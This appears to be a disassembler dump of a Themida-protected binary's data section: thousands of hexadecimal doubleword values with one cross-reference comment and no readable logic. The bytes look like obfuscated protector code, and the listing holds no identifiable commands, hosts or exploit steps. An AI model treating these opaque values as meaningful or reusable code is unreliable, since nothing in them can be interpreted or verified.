3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0BE742F04h, 0C0BF0FCDh dd 28A99D8Bh, 8D8B0607h, 6072E51h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0B5C35646h, 269AC935h, 8229B83Eh dd 5D8D897Fh, 83060703h, 850F01E1h, 0Dh, 24C78060h, 5958Bh dd 8B610607h, 0F18D8BF3h, 6A060714h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 3AC9C351h dd 0DF58D01h, 0E1830607h, 30850F01h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0B4C8C351h, 0EE9h, 0FAE7000h, 9E17ADEAh, 0F27B4742h dd 61036C3Eh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 38716508h, 0B5958BB0h, 8B060714h dd 70CCD85h, 0D585C706h, 0D0060720h, 6A000007h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0C9A2C356h, 11D1A6C9h, 66601A57h, 8153C3BFh, 3494F9C2h dd 0FB8B6151h, 50006A61h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0FDB59FDEh, 0C8C66AC7h dd 0CE8h, 66D1D500h, 0F7C10DC2h, 0C75CA0CCh, 0A9B503D3h dd 5F060710h, 9D5958Bh, 7EB0607h, 0E99D61h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0E3A4C357h, 7F957C6h, 0F5B74A13h, 0B8B0Fh dd 6E90000h, 39000000h, 0FADEE6C7h, 57006A30h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 6074CD75h dd 0A3F2F081h, 858B095Ch, 60713EDh, 0C18BFC61h, 57006A60h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 868A5BBBh, 1EA202C0h, 9529F9D1h, 6073255h, 1FED9589h dd 0C08B0607h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 7EC35040h, 0CE81666Dh, 0BD83CAD6h, 6071ACDh, 83097500h dd 71135BDh, 19740006h, 0C08B5350h, 438B8h, 7D858900h dd 8D06071Fh, 9ADC09Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501774h dd 438B8h, 7D858900h, 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 0E7816658h dd 6A8410h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 43BDC8C3h, 7A89FD2Fh, 8BCF8B66h, 57006AC0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 68B0F85h, 81000000h, 1CBDBCC7h, 76FE813h, 0B5330000h dd 6071E35h, 0E858589h, 8D8B0607h, 6070319h, 2F0D9529h dd 52E80607h, 0B9000007h, 2F957AB5h, 0BE960h, 0ED230000h dd 333C200Eh, 3F6DE5D5h, 0CEB70FA1h, 0D1858961h, 6A060705h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 64BCC355h, 3AB8592Ch, 0FC736184h, 708E8h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0EDAD7873h, 0B58589E8h, 56060712h, 2345B50Bh dd 0E85F0607h, 6D5h, 8589CF8Bh, 6071171h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 55C35040h, 9761C03Bh dd 60562893h, 0A4E5E2B9h, 1B9661Ch, 33596136h, 70DA18Dh dd 693E806h, 6E90000h, 7C000000h, 29D36EE5h, 598589DBh dd 0E8060708h, 10h, 122C875Eh, 731E74CFh, 70186DF4h, 7F6D2527h dd 2150B956h, 595E5BFDh, 660E8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 64CE43E6h, 518589E6h, 0F9060713h, 634E8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 2D359E9h, 8E0Fh, 85890000h, 6072639h, 603E8FCh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 858980C3h, 6071531h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 91C35545h, 0D9700A7Ah, 2D91BD2Bh, 0B6E80607h dd 6A000005h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 5203C355h, 83039834h, 1AF58589h dd 0FE90607h, 0BE000000h, 4E9AE16Bh, 638A266Eh, 0AB359F5Eh dd 85892DBFh, 6070BE9h, 6E8h, 0F255D900h, 6677C908h, 895ECB8Bh dd 70ECD9Dh, 55BE806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0D89E2DC3h, 4D8589D5h dd 6A060712h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 1CC8C356h, 514E8h, 0F18B6600h dd 7C58589h, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 8BEAA5C3h, 38E55E09h, 1DC18589h dd 0B58B0607h, 6071ECDh, 4D8E8h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 63BF4144h dd 0B5296A3Dh, 6070599h, 2D318589h, 6A0607h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8AE859C3h dd 0E9000004h, 5, 0C13B34F3h, 69858915h, 6A060704h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 6C7C357h, 0E64D16F5h, 9D8911A4h, 60706EDh, 0FE9h, 0BBBE00h dd 5CFEDCB7h, 0EBD10045h, 7A079A60h, 438E8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0EE524D4Ah, 64BA9230h, 1AF5B58Bh, 81660607h, 897FE9E1h dd 71E2585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 6CE9C0F3h, 3DFE814h, 0B58B0000h dd 6072B11h, 0A218589h, 9E90607h, 0DC000000h, 245E66A5h dd 0D7F128DEh, 3C0E8h, 6D858900h, 51060721h, 0EE9h, 72CA8E00h dd 0CF78F528h, 42F945Ah, 5F44698Ah, 20398589h, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 2A70E5C3h, 8B664E62h, 8900B0F7h, 7051585h, 0D8B60F06h dd 0B2AABF66h, 6BAh, 0A19D8900h, 8B060728h, 50006AC3h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 33C453DAh, 8A0Fh, 0E8C10000h, 15B58B04h, 6606070Eh dd 0BD8BE2F7h, 6071A59h, 810FD82Bh, 0Ch, 6820Fh, 85290000h dd 6071F49h, 0BE565093h, 784BF1C4h, 0CA8B935Fh, 29ED95FFh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 60CCD3C3h, 85B58960h, 0B5060732h, 9D0B6101h dd 6072209h, 6A5B61h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0D9806FC3h, 0C1958D5Eh, 0B5060732h dd 0E91A893Ah, 0Eh, 6FA8AA41h, 80E8CDA1h, 0D479C5ADh, 42891CBFh dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 2A806F81h, 434BDC92h, 7E9h, 0F1C4F900h dd 1918EC3Bh, 28C1958Dh, 850F0607h, 6, 1B49B58Bh, 1A890607h dd 1A458D8Bh, 42890607h, 50006A04h, 3E8h, 0C3582000h, 24448958h dword_580000 dd 24448104h, 1504h, 0C3504000h, 958D0A04h, 6070745h, 0FE9h ; DATA XREF: Themida_:0053D074o ; Themida_:0053D410o ... dd 0DB39DD00h, 0EAFEC251h, 8486D6B6h, 0F397C1ADh, 6A1A89h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 442620C3h, 13A58509h, 42890607h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 4D3DB53h, 8DC9BF0Fh dd 703C595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 4DA9BA09h, 57E294AFh, 0FE8h, 302E5800h dd 342DD352h, 6AD730Dh, 11FD0733h, 0EE9h, 9537D600h, 254A6968h dd 0B2705D92h, 5EC7628Dh, 0CF8B1A89h, 6A044289h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 131DC350h, 0E1DC30D8h, 8DDFE9A5h, 71FD595h, 0F98B6606h dd 0C6811A89h, 37FEDA87h, 6A044289h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 4EFFC353h dd 7FFAE7B9h, 8D7CCD8Dh, 7020195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0F18B668Dh dd 89F08B66h, 442891Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0DCC35242h, 0F233235Ch, 0A19D3186h, 8D06070Dh dd 7140595h, 5E806h, 25850000h, 8B926F83h, 70471B5h, 1A895E06h dd 38FABF66h, 6A044289h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0FF7DC351h, 30A050E7h dd 188E0Fh, 13E90000h, 66000000h, 0CF555421h, 0AEA7ACF1h dd 31EF4114h, 0D7AC01BAh, 958DE35Dh, 6072D15h, 1EB96651h dd 1A895FFFh, 89F38B66h, 6A0442h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0B58999C3h, 6070C51h dd 0F4E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 41D814Bh, 468BA980h, 6A006A18h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 706AC353h, 0C04C0979h, 163BF56h, 6A597BE4h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DA4B75E4h, 0EDF517h, 0F88BACE9h, 0BD0B006Ah, 60732C9h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 521152C3h, 0FA5178Ah, 0C5D9529h, 0BD8B0607h dd 60712C5h, 7ED95FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 1A4E4EC3h, 55006AC3h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F98B57DAh, 6AC58A5Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 5F84C357h, 0D27F99A2h dd 0FB5B3E6h, 1886h, 13E900h, 7A620000h, 145F26FDh, 59123E40h dd 0B8B37BB6h, 31A406C4h, 6AC08B41h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0D64C353h dd 588DA0A3h, 8B6650ABh, 0CDBD83FEh, 6071Ah, 0BD830975h dd 6071135h, 50197400h, 0B8C08B53h, 438h, 2F818589h, 9D8D0607h dd 609AE27h, 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h dd 438h, 2F818589h, 9D8D0607h, 609AAC8h, 585BD3FFh, 0DFDF8166h dd 55006A6Dh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0B966C4B9h, 8D8B1487h, 6071885h, 858DC08Bh dd 60718B1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 32C35545h, 0DBD3405Fh, 90D17753h, 8E850h, 67C60000h dd 1BEA1530h, 6CBFDC52h, 5F382AE8h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 1B09C352h, 3395788Bh, 80A6685Ch, 6A36CFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 56C35747h, 0C2AAE3E8h dd 791D5429h, 3D8589BCh, 6A06070Dh, 9E900h, 0DE540000h dd 5DFA7D98h, 8DFC58A8h, 0B3E4C85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0FB0E9CCh dd 686h, 0B1BD2300h, 8B060732h, 72339BDh, 25BD8906h, 83060705h dd 0BD8905C0h, 6071391h, 11E9h, 0EC37E700h, 3988E994h dd 0CEA69C18h, 80859DF1h, 5090D960h, 12E9h, 96C9D900h dd 2F70903Fh, 0FDC6D9A0h, 4658729Ah, 900C1C1Fh, 2311BD8Bh dd 6A0607h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 12C35646h, 11E9CDE7h, 0F2000000h, 0A8EF8239h, 84F943Ah dd 0A8A871Ch, 0B04A92E0h, 96B062BFh, 6A006A30h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0E821C350h, 9, 711A1B32h, 6481A047h, 5FF88AD3h, 1E3D95FFh dd 0BD8B0607h, 60707E1h, 8A1B529h, 8D8D0607h, 60A93D5h dd 0ADE5CB81h, 0D1FF52CCh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 89C35646h, 8AAA4E1Eh, 0BD83F9D8h, 60719BDh dd 44850F01h, 6A000000h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 308B73C3h, 0F98B90C9h dd 0A800F50h, 0E9000000h, 5, 0C6B30956h, 0FFFC90A7h, 7079195h dd 919D8B06h, 0E9060706h, 0EA5h, 0E8h, 0ED815D00h, 60B3E56h dd 0EE9h, 41F5E300h, 0D014EFFEh, 0EE2E6E86h, 6A7E3EF4h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 3750C350h, 8DC6CDDFh, 0A843F85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 1A391AD3h, 1173B1C7h, 0EF81DFA1h, 3F4F8948h, 9E850h dd 0B6290000h, 0B579440Bh, 66CEAA37h, 895BDE8Bh, 0BF662404h dd 0FF647983h, 35h, 25896400h, 0 dd 4CA8BF66h, 2F5985FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 902C4DC3h, 6AD8BF0Fh dd 0BD8960FFh, 6070D31h, 6158F557h, 12E9h, 37FCAA00h, 0B8E5DEEBh dd 613B94B6h, 0BD884DF8h, 0FF0D0783h, 70E85B5h, 0BE906h dd 71E70000h, 376B748Ah, 4ABBB890h, 0BB260CFh, 0FF61CB8Bh dd 72B8995h, 11AE906h, 66500000h, 0A5CCF81h, 0E900B05Fh dd 5, 0CFABA57Bh, 970E677h, 70C218Dh, 6671E406h, 0B501DF8Bh dd 6071F15h, 830F613Ch, 0ECh, 41958B60h, 0E9060702h, 8 dd 0F22F124Ch, 0F355904Ah, 0C8B60F61h, 6AC2F781h, 6BA679Bh dd 0E9000000h, 8, 0C7487FCFh, 0E4B8D3CFh, 8D89C18Bh, 60719C5h dd 2035BD29h, 0E8C10607h, 860F6004h, 3, 8BCBB70Fh, 729259Dh dd 0F7666106h, 199D8BE2h, 2B060700h, 9E9C8h, 12B10000h dd 67DCC02h, 8BEF8683h, 725CDBDh, 0BBD18B06h, 347A9A06h dd 6E9h, 0B5EF8100h, 8B537A60h, 732C185h, 61BD8B06h, 8306072Bh dd 816607C0h, 83D4DFEFh, 9D8B00C0h, 60722F9h, 830FD03Bh dd 0Eh, 11299D89h, 39E90607h, 80000000h, 8D8B85E3h, 60721A9h dd 30198529h, 0E1830607h, 21840F01h, 66000000h, 0A583D98Bh dd 60721A9h, 74D781FEh, 89115F2Eh, 732C195h, 0ED9D8B06h dd 0E9060714h, 0 dd 0C417B58Dh, 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0FC2741C3h, 2F999D29h, 0A9BB0607h dd 8963BEE1h, 71E85B5h, 6A006A06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0FF3AC356h dd 6547C9Ah, 9E97FB4h, 5B000000h, 0A531400Dh, 0EEBB8CB9h dd 1830Fh, 0FFF80000h, 70D6995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 9D03ECBEh dd 6070F95h, 0B9FBB70Fh, 7CAh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0F5C35343h, 8B9EF62Dh, 712E19Dh dd 0DB816606h, 0E1839FF5h, 53006AFCh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0C5503293h dd 0D77B8AAEh, 94BB66FCh, 6AC02B40h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 5487C355h dd 0A1BF66E3h, 8DDF80D7h, 0BAh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0ADCB3606h dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 1FBCC356h dd 92DC2B72h, 8B664D8Eh, 0FEB70FFBh, 880Dh, 0F59D2900h dd 8B060728h, 71AD995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 6408A7F6h, 8BFE8AA8h dd 7101D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 7409B1FDh, 6820Fh, 0B5890000h, 60712B1h dd 61605260h, 0AD8D8B59h, 6106070Fh, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6E85818h, 0AE000000h, 54FA3A4Eh dd 799D8B94h, 5B06071Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 50C35545h, 8960BC6Dh, 7078D95h, 6D8D8906h dd 61060710h, 0E29BD83h, 0F000607h, 3C84h, 0B800h, 0BD8B0000h dd 60720DDh, 4B9B8D8Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 3BF1C4C3h, 7B1918ECh dd 8BE1FF9Ch, 718F5BDh, 5BD8306h, 60733h, 454840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 5ED9C8C3h, 0BD8376B5h, 6073305h, 42840F01h, 6A000004h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 44A2C353h, 0AB789176h, 17820F30h, 0E8000000h dd 0Eh, 3C0C56DDh, 0C5D26CFFh, 0DBED9E28h, 0CF80D3E5h dd 0BD835BB3h, 6073305h, 0C0860F03h, 6A000003h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 7023C351h, 11E867D8h, 0B2000000h, 152623E1h, 0D2E35080h dd 0D338DA82h, 9D5369F3h, 0C7BF605Fh, 8B1AAB77h, 70E6D9Dh dd 0D98C6606h, 36D9501h, 0E1800607h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 741C27A1h dd 0B679795h, 0C1CF8166h, 0FC90A1Bh, 10284h, 99D8B00h dd 8B06072Ah, 72A1D85h, 0FD853306h, 6A06071Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0F530C350h, 38009690h, 303A3C59h, 6690FB8Bh, 506DD3BFh dd 8B90DF8Bh, 713F59Dh, 0FAD38006h, 8166006Ah, 68D36AE3h dd 53AC963Eh, 0C1243481h, 6A53B395h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0B7B6C356h dd 6E8D4h, 1C800000h, 5493E39Fh, 24CBF781h, 0FF5B5B93h dd 709F995h, 0C9BD8B06h, 89060732h, 0AADDF85h, 0FE906h dd 0DD6B0000h, 0A8A96FE0h, 1083AE4h, 1D511CF2h, 0C8B0F54h dd 0F000000h, 68Ch, 0B4C78100h, 0E97E1244h, 1EEh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D1C35141h, 0E9604404h dd 13h, 0BF8A0AD4h, 2904E432h, 0E9730916h, 0A483ACEDh dd 8BFE15DCh, 0AADD785h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 840FFE66h, 6, 6E54CB81h dd 0BD891C3Fh, 6070321h, 1800C7h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 8B00BFC3h dd 11E9EA6Fh, 65000000h, 1E629A0Dh, 0C869A611h, 4491AAD0h dd 0D5DE5B9Fh, 0ADDBB58Bh, 8166060Ah, 8BC13DEFh, 72BCD85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 70913EB1h, 8BEB9426h, 723759Dh, 5EBF6606h dd 0B06897Ah, 710199Dh, 1D858B06h, 6006072Ah, 9E860h, 23700000h dd 0E7EF8767h, 5ED67280h, 81615F51h, 625DD5CAh, 9D8B617Dh dd 6072045h, 6A044689h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 4DAAC351h, 0FD888B2h dd 79BB6674h, 8E996A9h, 0BA000000h, 627AB98Bh, 50B7DC3Eh dd 509681B7h, 6860Fh, 840F0000h, 0 dd 0D7B5FF5Bh, 31060AADh, 70DE59Dh, 1D516806h, 481CB62h dd 0BCE6AE24h, 56006A34h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 80BCDE50h, 2EF58D29h dd 858D0607h, 60AADDFh, 57907FB7h, 0BEBB505Fh, 90561A4Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 97C35747h dd 0FF117D39h, 709F995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 33611764h, 729D59Dh, 585C706h dd 3060733h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 91E8C357h, 7B8CF9FAh dd 3668441h, 71F85BDh, 0DFBD8306h, 60AADh, 41840Fh, 0EE80000h dd 0EB000000h, 0E96E9B88h, 0B860D992h, 77D699EBh, 0F8B70FFAh dd 40E95Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0F4951BC3h, 141CC77Fh, 5094700Fh dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0D19EC4C3h, 38437879h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0EFC35242h, 52338349h, 4096D0C4h dd 5BD83A0h, 3060733h, 4B3850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D090DFC3h dd 2C04F942h, 8BF9BF0Fh, 70F05BDh, 0DFBD8306h, 60AADh dd 47B840Fh, 8D290000h, 607077Dh, 0ADDFB5FFh, 6A060Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 5740CC3h, 0BCBBCBC0h, 0FF789156h, 7212995h, 0EF816606h dd 0B58B1D4Dh, 60AADD3h, 106C7FCh, 6A000100h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0DC86C355h, 0FA8CCFFh, 488h, 61605700h, 0E950965Bh dd 11h, 0BC7D12DAh, 0C0BC9E29h, 83C08D18h, 0AFB4B618h dd 0E8505B15h, 0Dh, 0E9A78D09h, 924586C9h, 0ED3E55BDh dd 0DF8B667Bh, 8589965Bh, 607073Dh, 0ADDFB5FFh, 0FFF9060Ah dd 7025195h, 159D8906h, 8B060705h, 0AADD3B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 3BD6B5BEh, 8B79B38Bh, 712A185h, 0CB815606h, 7B8BEDB9h dd 0C486895Fh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 7193C356h, 89959FFEh dd 708B585h, 0DE906h, 0F0060000h, 7207F37h, 4BC35280h dd 8BDCD578h, 71AD995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 5EA4F5DCh, 8B8C159Ah dd 723659Dh, 4C28306h, 0E19BD8Bh, 50890607h, 55006A20h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 3F4F01AFh, 70858D53h, 66060AC1h, 8166FE8Bh, 89B165EBh dd 0B886h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 8E9A8h, 51110000h, 0AE201038h, 0BB66B83Fh dd 6AD9E3h, 5830Fh, 81660000h, 0FF758DF7h, 0AADDFB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 12BBBB2Fh, 0BF0D88DEh, 6787BA18h, 79195FFh, 6A0607h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 2CE4DAC3h, 62E98160h, 293B6B42h, 706C9BDh, 0B3966106h dd 8A0F501Ah, 0Ah, 0F5E5760h, 86h, 6A966100h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0FB0CC355h, 7D4656F7h, 1B5AE4C8h, 5E9h, 52B74600h, 0AE89020h dd 0FF000000h, 20175F1Fh, 0AE37696Fh, 0B5FF5F64h, 60AADDFh dd 1FB9BD8Bh, 95FF0607h, 6072D09h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 97C35040h, 0A083C8E2h, 0CBB5E5ADh dd 0BD958960h, 0E8060714h, 0Bh, 0B46A6D1Eh, 3B69CB23h dd 893714A4h, 712A59Dh, 83615A06h, 714C1BDh, 840F0006h dd 72h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h dd 87C35646h, 722CE70Bh, 8F0F50EAh, 3, 89F88B66h, 6A2434h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0F2B43C3h, 0F94A321h, 685h, 418D0900h, 0E906071Eh, 11h dd 0BDCCC21Fh, 4750FBFh, 7FA7B398h, 0BDE01BD0h, 0B5FFFCEBh dd 60AADDFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0E8C35343h, 0B3982142h, 9595FFC2h, 6A06071Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0F10C356h, 689h, 61BD2B00h, 0FF06072Ch, 0AADDFB5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 80D78072h, 95FF45EFh, 60702C1h, 1B59BD03h, 0BD830607h dd 6072865h, 54840F02h, 0F000000h, 183h, 858BF500h, 6070E69h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B4C35343h dd 4A26063h, 0B576F0DFh, 639BD0Bh, 0C60607h, 14E800h, 9E740000h dd 788CA801h, 0F74C069Ch, 0F133A71h, 0D1555E79h, 0C75F30E6h dd 72A5185h, 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BD8B9098h, 60710FDh dd 23CB8166h, 0F279E949h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0DEEDB3C3h, 76958D37h dd 8BF98B66h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0CE62566h, 8B15E12Ch, 708D5BDh, 0C1852906h dd 0B06070Fh, 71A25BDh, 0B1858D06h, 60060718h, 4AD9D8Bh dd 5E90607h, 31000000h, 91B38295h, 870F9061h, 2, 0B75095B3h dd 6A9092h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0E73951C3h, 2C0F807Ah, 6840Fh, 0D7810000h dd 3C439E56h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0CF15AFC3h, 0D8464BB1h, 10198589h dd 6E90607h, 0E2000000h, 93166342h, 6A006AB9h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 96B9C356h, 118AFCEFh, 0BD8B79FAh, 607052Dh, 4F61858Dh dd 8CB3060Bh, 0E805C083h, 0Dh, 0A15E2DADh, 0AE2E2EAEh dd 4BC085DDh, 0D8B70F47h, 0BB66905Bh, 8B50D969h, 6A90D8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0C439DCC3h, 6AF552B1h, 12E800h, 